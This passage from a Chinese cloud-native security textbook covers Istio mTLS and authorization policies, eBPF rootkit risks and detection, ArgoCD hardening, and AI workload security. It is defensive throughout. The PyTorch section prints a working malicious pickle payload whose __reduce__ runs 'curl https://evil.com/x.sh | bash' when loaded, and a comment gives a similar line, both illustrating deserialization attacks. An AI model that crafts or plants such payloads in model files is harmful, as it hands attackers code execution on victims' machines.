│ ★★ 这正是服务网格最核心的安全价值: │
│ 即使攻击者已经进了某个 Pod, │
│ 他也【不能】调用其他服务(授权策略会拦住) │
│ → ★ 直接把"横向移动"这条路堵死了大半 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 能力 2:★★ L7(应用层)授权策略 │
├────────────────────────────────────────────────────────────┤
│ NetworkPolicy 只能做到 L3/L4(IP + 端口): │
│ "允许 A 访问 B 的 8080 端口" │
│ │
│ ★ 服务网格的 AuthorizationPolicy 能做到 L7: │
│ "允许 A(身份)对 B 的 /api/v1/users 发 GET, │
│ 但不允许 POST/DELETE; │
│ 且必须带有效的 JWT,且 JWT 的 group 必须是 admin" │
│ │
│ ★ 生活类比: │
│ L4 = 小区门禁(有卡就能进小区) │
│ L7 = 单元门禁 + 电梯权限 + 房门钥匙(每层都验证) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 能力 3:★★ 通信加密自动化(解决"加密太麻烦所以不加密") │
├────────────────────────────────────────────────────────────┤
│ ★ 现实中 90% 的微服务之间的通信是【明文】的 │
│ 为什么?因为配置 TLS 太麻烦: │
│ - 要签发证书 │
│ - 要管理证书轮换 │
│ - 要在代码里加载证书 │
│ - 每种语言写法不一样 │
│ │
│ ★ 服务网格:★ 全自动 │
│ ① 控制面给每个 SA 签证书(SPIFFE 格式,默认 24 小时轮换) │
│ ② sidecar 自动加载、自动轮换 │
│ ③ 应用代码【完全不用改】,还是发 HTTP │
│ ★ sidecar 在中间自动升级成 mTLS │
│ │
│ ★ 这就是"让安全变得比不安全更省事"的典型例子 │
│ → ★★ 安全落地的最佳方式永远是这个:让正确的事更容易做 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 能力 4:★ 完整的可观测性(出事后能查) │
├────────────────────────────────────────────────────────────┤
│ 每次服务调用都会记录: │
│ - 谁调的(源身份) │
│ - 调了谁(目标服务 + 路径) │
│ - 结果(200 / 403 / 500) │
│ - 耗时、流量大小 │
│ │
│ ★ 安全价值: │
│ ① 能发现异常调用(如:前端服务突然去调数据库服务) │
│ ② 能画出完整的调用关系图(攻击面一目了然) │
│ ③ ★ 出事后能精确还原"他访问了哪些服务、拿到了什么" │
└────────────────────────────────────────────────────────────┘
★ Istio 安全策略实战
# ============================================================
# ① 强制全集群 mTLS(★ 第一步就该配的)
# ============================================================
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
name: default
namespace: istio-system # ★ 在根命名空间配置 = 全集群生效
spec:
mtls:
mode: STRICT # ★ STRICT = 必须用 mTLS
# PERMISSIVE = 明文和 mTLS 都接受(★ 迁移期用,最终要切 STRICT)
---
# ============================================================
# ② ★★ L7 授权策略:默认拒绝所有
# ============================================================
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: deny-all
namespace: production
spec:
{} # ★ 空的 spec = 拒绝所有
# ★★ 注意:Istio 默认是【允许所有】!必须显式配置默认拒绝
---
# ============================================================
# ③ 精确的放行规则
# ============================================================
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: allow-web-to-api-readonly
namespace: production
spec:
selector:
matchLabels:
app: api # 规则作用在 api 服务上
action: ALLOW
rules:
- from:
- source:
principals: ["cluster.local/ns/production/sa/web-sa"] # ★★ 基于身份,不是 IP!
to:
- operation:
methods: ["GET", "HEAD"] # ★★ 只允许读
paths: ["/api/v1/users/*", "/api/v1/products/*"]
ports: ["8080"]
when:
- key: request.auth.claims[groups] # ★★ 还要校验 JWT 里的 groups
values: ["user", "admin"]
---
# ============================================================
# ④ 管理员操作需要更严格的条件
# ============================================================
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: allow-admin-write
namespace: production
spec:
selector:
matchLabels:
app: api
action: ALLOW
rules:
- from:
- source:
principals: ["cluster.local/ns/production/sa/admin-portal-sa"]
to:
- operation:
methods: ["POST", "PUT", "DELETE"]
paths: ["/api/v1/admin/*"]
when:
- key: request.auth.claims[groups]
values: ["admin"]
- key: source.ip # ★ 还可以加 IP 限制(双重条件)
values: ["10.0.0.0/8"]
---
# ============================================================
# ⑤ ★ 基于 JWT 的终端用户认证(RequestAuthentication)
# ============================================================
apiVersion: security.istio.io/v1
kind: RequestAuthentication
metadata:
name: jwt-auth
namespace: production
spec:
selector:
matchLabels:
app: api
jwtRules:
- issuer: "https://auth.example.com"
jwksUri: "https://auth.example.com/.well-known/jwks.json"
audiences:
- "api.example.com"
forwardOriginalToken: true
---
# ============================================================
# ⑥ ★ 出口流量控制(防止数据外传)
# ============================================================
apiVersion: networking.istio.io/v1
kind: ServiceEntry
metadata:
name: external-allowlist
namespace: production
spec:
hosts:
- "api.weixin.qq.com"
- "*.aliyuncs.com"
location: MESH_EXTERNAL
ports:
- number: 443
name: https
protocol: HTTPS
resolution: DNS
---
# ★★ 关键:把出口策略设为 REGISTRY_ONLY = 只能访问白名单里的外部域名
# Istio 安装时配置:
# meshConfig.outboundTrafficPolicy.mode = REGISTRY_ONLY
# (默认是 ALLOW_ANY = 允许访问任何外部地址)
10.5.3 服务网格自身的安全风险(★ 容易被忽视)
★★★ 引入服务网格 = 引入了一个【新的、权限极大的组件】
风险 1:★★★ 控制面(Istiod)是新的"皇冠珠宝"
─────────────────────────────────────────────
Istiod 掌管:
- ★ 所有服务的证书签发私钥
- 所有路由规则和授权策略
- 所有服务的配置
★ 攻破 Istiod = 攻破整个网格:
- 可以给自己签发任意身份的证书 → 冒充任何服务
- 可以修改授权策略 → 放行所有流量
- 可以修改路由 → 把流量劫持到攻击者的服务(★ 中间人)
★ 防护:
☑ Istiod 所在命名空间严格 RBAC(极少人能访问)
☑ ★ 根证书(CA)私钥应该用外部 KMS/Vault 保护,而不是存在集群里
☑ 审计 Istiod 所在命名空间的所有操作
☑ 用 Kyverno/PSA 保护 istio-system 命名空间
风险 2:★★ Sidecar 注入被滥用
─────────────────────────────────────────────
★ 攻击场景:如果攻击者能创建 Pod 并控制 sidecar 注入,
他可以:
- 注入一个【恶意的 sidecar 镜像】→ 所有流量都被他看到
- 修改 sidecar 的配置 → 绕过 mTLS
★ 防护:
☑ 只有特定命名空间允许自动注入(不要在 default 开)
☑ 镜像必须来自私有仓库且验签
☑ ★ 用 Kyverno 限制 sidecar 的配置(如禁止改 meshConfig)
风险 3:★★ mTLS 的 PERMISSIVE 模式是个陷阱
─────────────────────────────────────────────
★ PERMISSIVE = 同时接受明文和 mTLS
→ 本意是方便迁移(老服务还没上 mesh)
→ ★ 但攻击者可以直接发明文请求,完全绕过身份认证!
★ 真实问题:很多团队开了 PERMISSIVE 之后就【忘了切回 STRICT】
→ mTLS 形同虚设
★ 防护:
☑ 迁移期结束后必须切 STRICT
☑ ★ 用脚本定期检查是否有 PERMISSIVE 的策略
☑ 用 istioctl x describe 检查服务的 mTLS 状态
风险 4:★ 授权策略的"默认允许"
─────────────────────────────────────────────
★★ Istio 默认【允许所有】请求!
(跟 K8s NetworkPolicy 默认允许一样,反直觉)
→ 你必须显式配置 deny-all,然后逐条放行
★ 很多团队以为"装了 Istio 就有零信任了"
→ ★ 实际上不配 AuthorizationPolicy 的话,跟没装一样
风险 5:★ 网格边界的"裸奔"流量
─────────────────────────────────────────────
★ Ingress Gateway 之外的流量不受网格管理
★ 没有注入 sidecar 的 Pod(如 kube-system 里的)也不受管理
★ 直接通过 Pod IP 访问可以绕过 sidecar
★ 防护:
☑ 用 NetworkPolicy 强制所有流量经过 sidecar
(只允许来自 istio-proxy 的入站流量)
☑ 或者用 Istio 的 CNI 插件 + 流量劫持(iptables 模式)
风险 6:★ 可观测性数据本身泄露信息
─────────────────────────────────────────────
★ Envoy 的访问日志里可能有:URL 参数、请求头(含 Cookie/Token)
★ Kiali(Istio 的可视化面板)默认无认证!
→ 任何人访问 Kiali 就能看到整个网格的拓扑图
★ Prometheus 里的指标可能泄露业务信息
★ 防护:
☑ Kiali / Grafana / Prometheus 必须加认证(★ 默认没有!)
☑ 访问日志脱敏(敏感 header 不记录)
☑ 监控面板不对外暴露
# ============================================================
# Istio 安全检查脚本
# ============================================================
#!/bin/bash
echo "════ 1. ★ 检查 mTLS 模式(有没有 PERMISSIVE 残留) ════"
kubectl get peerauthentication -A -o json | jq -r '
.items[]
| " \(.metadata.namespace)/\(.metadata.name): \(.spec.mtls.mode // "未设置(继承上层)")"
' | grep -v STRICT
# ★ 输出里如果有 PERMISSIVE 或 DISABLE,需要说明原因
echo ""
echo "════ 2. ★★ 检查每个命名空间的默认授权策略 ════"
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep -v 'kube-\|istio-'); do
POLICIES=$(kubectl get authorizationpolicy -n $ns -o json 2>/dev/null | jq -r '.items[] | select(.spec.action == "DENY" or (.spec | has("rules") | not)) | .metadata.name')
if [ -z "$POLICIES" ]; then
echo " ★ [!] 命名空间 $ns 没有默认拒绝策略(默认允许所有!)"
else
echo " ✓ 命名空间 $ns 有默认策略: $POLICIES"
fi
done
echo ""
echo "════ 3. ★ 检查 Istiod 的访问权限 ════"
kubectl get clusterrole,clusterrolebinding -A -o json \
| jq -r '.items[] | select((.metadata.name | tostring) | test("istio")) | " \(.kind)/\(.metadata.name)"'
echo ""
echo "════ 4. ★ 哪些命名空间开了自动 sidecar 注入 ════"
kubectl get namespace -L istio-injection | grep -v "istio-injection" | awk '{print " " $1 ": " $NF}'
echo ""
echo "════ 5. ★★ 用 istioctl 检查配置问题 ════"
istioctl analyze -A
# ★ 输出示例:
# Error [IST0107] (AuthorizationPolicy production/foo) No matching workloads
# Warning [IST0134] (PeerAuthentication default) mtls mode PERMISSIVE
10.5.4 eBPF:强大的双刃剑
★ 名词:eBPF(extended Berkeley Packet Filter) 白话:一种能在 Linux 内核里安全地运行小程序的技术, 不用改内核源码、不用加载内核模块,就能“看到和干预”系统里发生的一切。
★ 为什么它火(2014~2026)
以前想在内核里做点事(如抓包、监控系统调用):
方式 1:改内核源码 → ★ 不现实
方式 2:写内核模块 → ★ 一个 bug 就 kernel panic(整机宕机)
eBPF:
★ 写的程序先经过内核的【验证器】严格检查
(是否可能死循环、是否访问非法内存、是否能终止)
★ 通不过就不让运行
→ ★ 安全性大幅提升
★ 应用(★ 你会天天用到,只是不知道):
✓ 网络:Cilium(K8s CNI)、XDP 高性能防火墙、负载均衡
✓ 可观测:Pixie、Hubble、bpftrace、BCC 工具集
✓ 安全:Falco(eBPF 模式)、Tetragon、Tracee
✓ 性能分析:perf、火焰图
★ eBPF 的攻击面(★ 这是新兴的、很多人不知道的)
风险 1:★★★ eBPF 程序能看到【一切】
一个加载到内核的 eBPF 程序可以:
- 抓取所有网络包(★ 包括 TLS 握手前的数据,以及明文流量)
- 监控系统调用(能看到所有进程的所有动作)
- ★ 读取任意进程的内存(配合特定 helper)
- 拦截系统调用并篡改参数(★ 后门!)
★ 所以:加载 eBPF 程序 ≈ 拥有 root 权限
→ ★★ 攻击者的新目标:能加载 eBPF = 事实上的 root
风险 2:★★ 恶意 eBPF Rootkit(★ 2019 年后出现的新型后门)
传统 rootkit:加载内核模块(LKM)→ 容易被检测到(在 /proc/modules 里)
eBPF rootkit:★ 不在模块列表里,藏得更深
能做什么(真实工具 ebpfkit / bpfdoor / Symbiote):
✓ 隐藏进程(让 ps 看不到挖矿进程)
✓ 隐藏网络连接(让 netstat 看不到 C2 连接)
✓ 隐藏文件(让 ls 看不到恶意文件)
★ 隐藏自己(让 bpftool prog list 看不到自己!)
✓ 劫持命令执行(把 kill 命令变成 no-op)
✓ 绕过防火墙(在 XDP 层放行攻击者的 IP)
★★ 检测难点:
没有文件时,传统的文件完整性检查没用
→ 需要:bpftool prog list(★ 但 rootkit 能隐藏自己)
/proc/kallsyms 检查
内存取证(Volatility 有 eBPF 检测插件)
行为异常检测(CPU 使用率高但看不到进程)
风险 3:★ 容器内的 eBPF 攻击
★ 问题:eBPF 是【全局的】,没有 namespace 隔离!
容器里的一个进程如果能加载 eBPF,
它能影响【整个宿主机】的所有进程
→ ★★ 所以:容器必须禁止 CAP_BPF 和 CAP_SYS_ADMIN
(这两个 capability 是加载 eBPF 所必需的)
★ 好消息:Linux 5.8+ 引入了 CAP_BPF,可以单独控制
→ 但仍然要小心:CAP_BPF + 其他几个 cap 组合 = 依然危险
# ============================================================
# eBPF 安全检查
# ============================================================
echo "════ 1. ★ 查看当前加载的所有 eBPF 程序 ════"
bpftool prog list
# ★ 输出示例:
# 12: cgroup_device name sd_devices tag a1b2c3d4 gpl
# 17: kprobe name trace_exec tag e5f6g7h8 gpl
# loaded_at 2026-09-02T10:23:45+0800 uid 0
# ★ 注意 uid 0 = root 加载的,正常
# 如果 uid 是非 0 用户 = ★ 可疑
echo ""
echo "════ 2. ★ 查看 eBPF maps(程序间共享数据的地方) ════"
bpftool map list
echo ""
echo "════ 3. ★ 检查谁有加载 eBPF 的权限 ════"
# 检查 capability
grep -E "CapEff|CapBnd" /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
# ★ 看输出里有没有 cap_bpf 或 cap_sys_admin
echo ""
echo "════ 4. ★★ 容器里的检查(最重要) ════"
kubectl get pods -A -o json | jq -r '
.items[]
| . as $pod
| (.spec.containers[]? | select(
((.securityContext.capabilities.add // []) | any(. == "BPF" or . == "SYS_ADMIN" or . == "ALL"))
or (.securityContext.privileged == true)
))
| " ★★★ \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \(.name) 有 eBPF 相关权限"
'
echo ""
echo "════ 5. ★ 检测 eBPF rootkit ════"
# 方法 1:对比不同视角的进程列表(★ rootkit 只能骗过一部分)
ps aux | wc -l
ls /proc | grep -E '^[0-9]+$' | wc -l # ★ 如果两个数不一致 = 可能有问题
# 方法 2:对比网络连接
ss -tulnp | wc -l
cat /proc/net/tcp | wc -l
# 方法 3:看 CPU 使用率和"可见进程"是否匹配
top -bn1 | head -15
# ★ 如果 CPU 100% 但 top 里看不到哪个进程在用 = ★ 高度可疑
# 方法 4:用支持 eBPF 检测的取证工具
# Volatility 3 的 linux.check_ebpf 插件
★ eBPF 安全的建议
防御侧:
☑ 容器不给 CAP_BPF / CAP_SYS_ADMIN(★ 最重要)
☑ 生产环境考虑禁用非特权 eBPF(kernel.unprivileged_bpf_disabled=1)
★ 但注意:这会禁掉很多正常的监控工具,要评估
☑ 用 LSM BPF(eBPF 自己来管控 eBPF 的加载)
☑ 监控 bpftool prog list 的变化(基线 + 告警)
☑ 节点用只读根文件系统 + 完整性校验
检测侧:
☑ 定期对比 ps / /proc / ss 的一致性
☑ CPU 异常但无对应进程 → 深入排查
☑ ★ 用 Tetragon(Cilium 出品)监控 eBPF 程序加载行为
10.5.5 GitOps 安全(ArgoCD / Flux)
★ 名词:GitOps 白话:把 git 当作“唯一的事实来源”,集群的状态由 git 仓库自动同步。 你想改集群?改 git,别改集群。
★ 工作流程
开发改代码 ──push──▶ git 仓库 ──▶ CI 构建镜像 ──▶ 更新 manifest
│
▼
git(manifest 仓库)
│
┌───────────────┴──────────────┐
│ ArgoCD / Flux(在集群里) │
│ ① 定期拉取 git │
│ ② 比对 git 状态 vs 集群状态 │
│ ③ 不一致 → 自动同步 │
└───────────────┬──────────────┘
▼
K8s 集群
★★ 安全价值(★ 这是 GitOps 最大的安全好处):
① ★★ 本质上消灭了"手工改生产"这条路径
→ 所有变更都有 git 记录(谁、什么时候、改了什么、为什么)
→ ★ 出事后能完整还原时间线(对应第八章的取证需求)
② ★★ 自动漂移修复
攻击者改了集群(如加了个后门 DaemonSet)
→ ArgoCD 发现与 git 不一致 → ★ 自动删掉后门
→ ★★ 这直接废掉了 10.4.10 里"手法 2:DaemonSet 后门"!
(攻击者加的 DaemonSet 不在 git 里,会被自动清理)
③ 所有变更走 PR → 有 review、有 CI 检查
→ 可以直接集成 Checkov / Kyverno 扫描
④ ★ 快速恢复
集群被搞坏了 → git revert → 自动回滚
★ 这比任何备份恢复都快
★ 但 GitOps 引入了新的攻击面
风险 1:★★★ git 仓库成了新的"皇冠珠宝"
────────────────────────────────────────────
★ 以前:要攻破集群,得攻破集群
★ 现在:★ 攻破 git 仓库 = 攻破集群
(改一下 manifest,ArgoCD 会帮你部署到生产)
★ 防护:
☑ manifest 仓库的写权限严格限制(★ 比代码仓库更严格)
☑ 强制 PR review(★ 至少 1 人,敏感目录 2 人)
☑ ★ 分支保护:禁止 force push、禁止直接 push 到 main
☑ 签名提交(GPG / SSH 签名)+ 验证
☑ ★ ArgoCD 的 webhook 只接受来自可信 git 平台的请求
风险 2:★★★ ArgoCD / Flux 本身权限极大
────────────────────────────────────────────
★ ArgoCD 需要能创建【任何资源】(Deployment、Secret、CRD...)
→ 它通常是集群里权限最大的 SA
★ 攻破 ArgoCD = 攻破整个集群:
- 可以用它的 SA 做任何事
- 可以修改 Application 配置指向恶意 git 仓库
- ★ 可以读取它管理的所有 Secret
★ 防护(★ 非常关键):
☑ ★★ ArgoCD 的管理界面必须:
- 启用 SSO(不要用它自带的 admin:xxxx 初始密码!)
- ★ 不对外暴露(用 VPN / 内网)
- 开启审计日志
☑ ★★ 用 AppProject 严格限制每个 Application 能:
- 部署到哪些命名空间(destination)
- 创建哪些类型的资源(resource whitelist)
- 从哪些 git 仓库拉取(sourceRepos)
☑ ArgoCD 自身的 Secret 用外部管理(Vault)
☑ ★ 定期轮换 ArgoCD 的 git 凭据
风险 3:★★ 初始密码 / 默认配置(★ 最常见的实际入侵方式)
────────────────────────────────────────────
★ ArgoCD 安装后默认:
- 用户名 admin
- ★ 密码存在名为 argocd-initial-admin-secret 的 Secret 里
(base64,等于明文)
- ★★ 很多人装完不改,而且把 ArgoCD 暴露到公网
→ ★★ 直接用默认密码登录 = 集群管理员
★ 其他默认配置风险:
- ArgoCD 的 API/UI 默认允许匿名只读(能看到所有应用和 Secret!)
- 自签证书(中间人风险)
风险 4:★ 供应链传递(manifest 仓库引用外部资源)
────────────────────────────────────────────
★ manifest 里如果引用了:
- 外部 Helm chart(可能来自不可信的仓库)
- 远程 YAML(URL)
- ConfigMap 里的远程脚本
→ ★★ 上游被投毒,你的集群自动部署恶意版本
★ 防护:
☑ Helm chart 必须来自内部仓库或验签
☑ ★ 固定版本号(不要用 latest 或 range)
☑ 禁止 manifest 里的远程引用
# ============================================================
# ★ ArgoCD 安全加固配置
# ============================================================
# ① ★★ 用 AppProject 限制权限(★ 最重要的加固)
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
name: production-apps
namespace: argocd
spec:
description: 生产环境应用(严格限制)
# ★ 只能部署到这两个命名空间
sourceNamespaces:
- argocd
destinations:
- namespace: production
server: https://kubernetes.default.svc
- namespace: production-db
server: https://kubernetes.default.svc
# ★★ 不给 * !否则能部署到 kube-system
# ★ 只能从这个 git 仓库拉取
sourceRepos:
- https://git.example.com/platform/manifests.git
# ★ 不用 *
# ★★ 只能创建这些类型的资源
clusterResourceWhitelist: [] # ★ 空的 = 不能创建集群级资源(如 ClusterRole!)
namespaceResourceWhitelist:
- group: ''
kind: Deployment
- group: ''
kind: Service
- group: ''
kind: ConfigMap
- group: ''
kind: Ingress
# ★★ 故意【不包含】:
# - Secret(防止 secret 从 git 同步)
# - DaemonSet(防止节点级后门)
# - ClusterRole / ClusterRoleBinding(防止权限提升)
# - CustomResourceDefinition
# ★ 禁止黑名单资源(双保险)
namespaceResourceBlacklist:
- group: ''
kind: ResourceQuota
- group: 'rbac.authorization.k8s.io'
kind: '*'
roles:
- name: prod-deployer
description: 生产环境部署权限
policies:
- p, proj:production-apps:prod-deployer, applications, sync, production-apps/*, allow
- p, proj:production-apps:prod-deployer, applications, get, production-apps/*, allow
# ★★ 不给 delete、不给 create(防止新建恶意 Application)
groups:
- platform-team
---
# ② ★★ 禁用匿名访问(argocd-cm ConfigMap)
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-cm
namespace: argocd
data:
# ★★ 默认是 'readonly',必须改成 ''(禁用匿名)
users.anonymous.enabled: "false"
# ★ 强制 SSO
url: https://argocd.internal.example.com
# OIDC 配置
oidc.config: |
name: Okta
issuer: https://example.okta.com/oauth2/default
clientID: argocd
clientSecret: $oidc.okta.clientSecret
requestedScopes: ["openid", "profile", "email", "groups"]
requestedIDTokenClaims:
groups:
essential: true
# ★ 资源排除(不同步敏感资源)
resource.exclusions: |
- apiGroups: [""]
kinds: ["Secret"]
clusters: ["*"]
---
# ③ ★ 修改默认 admin 密码并删除初始 Secret
# (ArgoCD 2.x 之后)
---
# ④ ★ RBAC:给不同团队不同权限(argocd-rbac-cm)
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.default: role:readonly # ★ 默认只读,不是 admin
policy.csv: |
# 平台团队:全部权限
p, role:platform-admin, applications, *, */*, allow
p, role:platform-admin, clusters, *, *, allow
g, platform-team, role:platform-admin
# 业务团队:只能 sync 自己的应用,不能删除
p, role:app-team, applications, get, production-apps/*, allow
p, role:app-team, applications, sync, production-apps/*, allow
p, role:app-team, applications, delete, production-apps/*, deny
g, business-team, role:app-team
scopes: '[groups]'
# ============================================================
# ★ ArgoCD 安全检查清单
# ============================================================
# ① ★★ 检查是否改了默认密码
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath='{.data.password}' | base64 -d
# ★ 如果这个命令还能成功 = 说明还没改密码 or 还没删这个 Secret
# ✅ 正确做法:改完密码后删除这个 Secret
kubectl -n argocd delete secret argocd-initial-admin-secret
# ② 检查匿名访问
kubectl -n argocd get cm argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'
# ★ 应该是 "false",如果是 "readonly" 需要改
# ③ 检查 AppProject 的 destination 有没有通配符
kubectl -n argocd get appprojects -o json | jq -r '
.items[] |
" \(.metadata.name): " + (
if (.spec.destinations // []) | any(.namespace == "*") then
"★ [!] 有通配符 destination!"
else "✓" end
)
'
# ④ 检查是否暴露到公网
kubectl -n argocd get ingress,svc -o wide
# ★ argocd-server 应该是 ClusterIP,不应有 LoadBalancer 公网 IP
# ⑤ 检查能不能创建集群级资源
kubectl -n argocd get appprojects -o json | jq -r '
.items[] |
" \(.metadata.name): clusterResourceWhitelist=" +
((.spec.clusterResourceWhitelist // []) | length | tostring) + " 条"
# ★ 应该是 0 条
'
10.5.6 AI / ML 工作负载安全(新兴且快速增长)
★ 为什么 K8s 上跑 AI 有特别的危险
传统 Web 服务:接收 HTTP 请求 → 查数据库 → 返回 JSON
AI 工作负载: ★ 接收【代码/模型/数据】 → ★ 执行它 → 用 GPU 跑
★★ 关键区别:AI 工作负载天然需要"执行不可信的东西"
- Jupyter Notebook:用户上传代码,服务器执行(★ 本质是 RCE as a Service!)
- 模型推理:加载第三方模型文件(★ pickle 反序列化 = RCE)
- 训练任务:加载数据集、执行自定义的数据处理代码
- Agent / 插件:调用外部工具(★ 见第一章的 AI 安全)
★ 风险 1:Jupyter Notebook = 官方 RCE
★ 你必须理解的事实:
Jupyter 的【核心功能】就是:用户提交代码 → 服务器执行
→ ★ "这不是漏洞,这是功能"
→ 但如果你把它暴露在公网上,就等于"公开了一个 shell"
★ 真实的入侵场景:
① 公司在公网部署了 Jupyter(数据科学家的常用操作)
② 没设密码或密码是弱密码(★ Jupyter 默认 token 但经常被关掉)
③ 扫描器扫到 8888 端口
④ 攻击者打开浏览器,直接获得一个 shell
⑤ ★ 而且这个 shell 通常在【有 GPU 的机器】上,
还挂载了训练数据、模型权重、云凭据
→ ★★ 挖矿 + 数据窃取 + 横向移动,一条龙
★ 防护:
☑ ★★ 绝不对公网暴露(用 SSH 隧道 / VPN)
ssh -L 8888:localhost:8888 user@server
☑ 必须设置强 token 或密码(★ 用 jupyter server password)
☑ ★ 运行在容器里,且:
- 非 root
- 无特权
- 只读根文件系统(除工作目录)
- 独立的 ServiceAccount(无 K8s API 权限)
- NetworkPolicy 限制出网
☑ ★ 不要用能访问生产数据的云角色(用独立的最小权限账号)
☑ 挂载的数据目录最小化(不要挂整个数据湖)
★ 风险 2:模型文件的反序列化 RCE(★ PyTorch 的坑)
# ============================================================
# ★★★ 加载第三方模型 = 执行任意代码
# ============================================================
import torch
# ❌❌❌ 危险:torch.load 默认走 pickle 反序列化
model = torch.load("downloaded_model.pth")
# ★ pickle 在反序列化时会执行 __reduce__ 方法里指定的任意代码
# → 攻击者可以在模型文件里埋一行:
# os.system("curl evil.com/shell.sh | bash")
# → ★ 你 load 的那一刻,后门就执行了
# 真实案例:
# 攻击者在 Hugging Face 上传恶意模型(★ 已经发生过多次)
# 用户下载后 torch.load → 沦陷
# ✅ 正确做法 1:★ 用 weights_only=True(PyTorch 2.0+)
model = torch.load("model.pth", weights_only=True)
# ★ 只允许加载张量,不允许执行代码
# ★★ 这是最重要的修复,PyTorch 2.6 之后默认就是 True
# ✅ 正确做法 2:用 safetensors 格式(★ 推荐)
from safetensors.torch import load_file
state_dict = load_file("model.safetensors")
# ★ safetensors 格式【设计上就不支持代码执行】
# → 它只存张量数据,没有反序列化逻辑
# ✅ 正确做法 3:扫描模型文件
# 工具:picklescan / modelscan
# pip install modelscan
# modelscan scan --path ./downloaded_model.pth
# ★ 恶意模型文件长什么样(让你看看原理)
import pickle
import os
class EvilPayload:
def __reduce__(self):
# ★★ pickle 反序列化时会调用这个返回的函数
return (os.system, ('curl https://evil.com/x.sh | bash',))
payload = pickle.dumps(EvilPayload())
with open("model.pth", "wb") as f:
f.write(payload)
# ★ 受害者 torch.load("model.pth") → 命令执行
★ 其他格式的类似风险:
- ONNX:也支持自定义算子(可含代码)→ 需要检查
- TensorFlow SavedModel:含计算图,较安全,但也有过漏洞
- Keras .h5:基于 HDF5,历史上也有反序列化问题
- ★ pickle 格式的 .pkl:最危险(等同 RCE)
- ★★ safetensors:目前最安全的选择
★ 给你的团队的建议:
① 内部模型仓库强制使用 safetensors
② 下载的第三方模型必须过 modelscan 扫描
③ 加载模型的最小权限 + 网络隔离(★ 即使被打了也出不去)
★ 风险 3:GPU 多租户的隔离问题
★ 问题:GPU 没有像 CPU 那样的强隔离
CPU / 内存:有 cgroup 严格限制,超了就 OOM
GPU:★ 共享时的问题:
① 显存泄漏:一个容器把显存占满,其他容器全部 OOM
② ★ 侧信道攻击:GPU 有共享的 L2 缓存、内存总线
→ 理论上可以跨容器窃取数据(学术上已证明可行)
③ ★ 驱动漏洞:GPU 驱动是内核模块,攻击面大
(★ NVIDIA 驱动每年都有 CVE)
★ 防护:
☑ ★ 不要多租户共享 GPU(敏感场景用独占 / MIG 硬件分区)
☑ NVIDIA MIG(Multi-Instance GPU):A100/H100 支持硬件级切分
→ ★ 这是唯一真正的硬件隔离
☑ 用 Kata Containers / 虚拟机 跑不可信的 AI 负载
☑ 限制 GPU 容器的权限(不给 privileged,只给必要的 device)
☑ ★ 及时更新 GPU 驱动(很多人忘了这件事)
★ 风险 4:AI 平台的凭据与数据
★ AI 训练任务通常需要:
- 大量训练数据(★ 可能是敏感数据:人脸、医疗、用户行为)
- 对象存储的读写权限
- GPU 资源(很贵)
- 云数据库访问
★ 常见错误:
① 训练容器的 ServiceAccount 权限过大
→ 能读所有 Secret、能创建任意 Pod
② 训练数据桶公开或权限过宽
③ Noteboo k 里硬编码 AK/SK(★ 数据科学家不熟悉安全,非常常见)
④ ★ 训练产物(模型权重)未加密存储
→ ★★ 模型本身是核心资产,而且可能【记忆】了训练数据
(★ 模型反演攻击:从模型权重反推出训练数据!)
★ 防护:
☑ 训练任务的 SA 只能读写指定的数据桶(★ 用 IRSA + 精确的资源 ARN)
☑ 强制用 IRSA / Workload Identity,禁止 AK/SK(见 10.4.3)
☑ 训练数据加密 + 访问审计
☑ ★ 模型权重视为敏感资产:加密存储 + 访问控制 + 出库审计
☑ 用 NetworkPolicy 限制训练容器的出网(★ 防止数据外传)
10.6 云上数据与存储安全
★ 一句话:攻击者费了九牛二虎之力进到你的云环境, 最终目的一定是数据。 而云上的数据,有一个特点:配错一个开关,全世界都能下载。
10.6.1 云上数据存储全景(先搞清楚东西存在哪)
┌──────────────────────────────────────────────────────────────────┐
│ 云上数据存储的六种形态 │
├──────────────┬──────────────────┬─────────────────────────────────┤
│ 类型 │ 白话 │ 典型风险 │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ① 对象存储 │ 网盘/文件柜 │ ★★ 公开桶(最常见的数据泄露原因) │
│ S3/OSS/COS │ 存图片、备份、日志 │ ★ 预签名 URL 泄露 │
│ │ │ ★ 无版本控制(被覆盖/删除) │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ② 块存储 │ 云硬盘 │ ★ 未加密 │
│ EBS/云盘 │ 挂在云主机上 │ ★ 快照公开共享(★ 数据外泄的隐蔽路径)│
│ │ │ ★ 删机器时没删盘(数据残留+持续计费)│
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ③ 关系数据库 │ RDS / MySQL │ ★ 公网可访问 │
│ │ │ ★ 弱密码 / 默认端口 │
│ │ │ ★ 无 SSL │
│ │ │ ★ 备份未加密 │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ④ 缓存/NoSQL │ Redis / MongoDB │ ★★★ 无认证(默认就没密码!) │
│ │ │ ★ 公网暴露 → 几分钟内被勒索/挖矿 │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ⑤ 数据仓库 │ 数仓 / 大数据 │ ★ 权限过粗(分析师能看全量 PII) │
│ │ │ ★ 导出功能无审计 │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ⑥ 密钥/参数 │ KMS / 密钥管理 │ ★ 密钥策略过宽(谁都能解密) │
│ │ │ ★★ 用默认密钥而不是 CMK │
└──────────────┴──────────────────┴─────────────────────────────────┘
10.6.2 对象存储安全(★ 云数据泄露的头号原因)
★★★ 一个残酷的事实:
